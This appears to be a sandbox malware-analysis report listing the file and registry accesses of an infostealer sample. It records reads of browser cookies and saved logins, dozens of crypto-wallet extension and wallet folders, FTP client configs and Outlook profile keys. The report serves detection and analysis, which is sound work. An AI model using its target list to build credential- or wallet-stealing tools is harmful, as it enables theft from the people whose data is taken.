Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
